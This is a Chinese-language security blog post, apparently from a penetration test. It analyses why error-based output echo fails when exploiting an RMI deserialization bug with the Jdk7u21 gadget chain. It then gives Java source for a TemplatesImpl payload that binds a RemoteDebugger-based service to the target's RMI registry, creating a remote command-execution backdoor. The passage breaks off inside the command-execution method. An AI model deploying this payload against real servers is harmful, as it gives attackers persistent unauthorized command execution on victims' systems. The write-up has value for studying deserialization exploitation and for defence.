以前在打RMI反序列化的时候都是用的CC、CB利用链实现报错回显,很好使。
之前在做一次项目的时候发现了目标存在RMI反序列化漏洞,系统为Windows,无DNS不出网。
通过延时探测出只存在Jdk7u21利用链。
RMI回显
打目标时依然尝试使用老方法回显,Jdk7u21 + 报错回显,发现一直没回显。平时自己Jdk7u21利用链用得比较少,大概了解Jdk7u21最后的利用也是通过Templatesimpl#newTransformer方法实现代码执行,只能去看代码分析下失败的原因。
Jdk7u21利用链也是利用的AnnotationInvocationHandler动态代理,通过HashSet触发到代理handler的equal方法,最终到
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } }
可以发现在在invoke反射调用templatesimpl#newTransformer方法时,捕获了异常。当捕获InvocationTargetException异常时返回了false,捕获IllegalAccessException异常时,继续向上抛了异常。
在反射过程中,反射所调用的方法中出现未被捕获的异常时,就会抛出InvocationTargetException异常,所以这里通过templatesimpl执行任意代码抛出任意异常(包括IllegalAccessException)回显,只能进入return false的分支,最终无法实现异常回显。
搞清楚了无法通过异常回显的原因后,接着就开始寻思其他的解决方案,首先能想到的就是参考weblogic的T3/IIOP回显,绑定一个服务到registry上。
在T3回显中,服务类实现了ClusterMasterRemote接口再绑定到registry,不过ClusterMasterRemote是Weblogic中自带的类不适用我们的场景。
这时候去得去jdk里找一个继承了java.rmi.Remote的接口,为了比较简单的传递命令和返回命令结果,参数类型和返回类型都为String方便一点。
翻了一会,只找到了一个符合要求的接口,sun.jvm.hotspot.debugger.remote.RemoteDebugger。
public interface RemoteDebugger extends Remote { ........... String consoleExecuteCommand(String var1) throws RemoteException; }
然后定义一个类实现这个接口,最后暴露实现类最后绑定到registry,本地直接绑定成功。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.jvm.hotspot.debugger.MachineDescription; import sun.jvm.hotspot.debugger.ReadResult; import sun.jvm.hotspot.debugger.remote.RemoteDebugger; import java.io.IOException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.UnicastRemoteObject; public class RMIBindService2 extends AbstractTranslet implements RemoteDebugger { public RMIBindService2() throws RemoteException { try { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); UnicastRemoteObject.exportObject(this, 0); registry.rebind("hhhh", this); }catch(Exception e){ e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } @Override public String getOS() throws RemoteException { return null; } @Override public String getCPU() throws RemoteException { return null; } @Override public MachineDescription getMachineDescription() throws RemoteException { return null; } @Override public long lookupInProcess(String s, String s1) throws RemoteException { return 0; } @Override public ReadResult readBytesFromProcess(long l, long l1) throws RemoteException { return null; } @Override public boolean hasConsole() throws RemoteException { return false; } @Override public String getConsolePrompt() throws RemoteException { return null; } @Override public String consoleExecuteCommand(String command) throws RemoteException { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh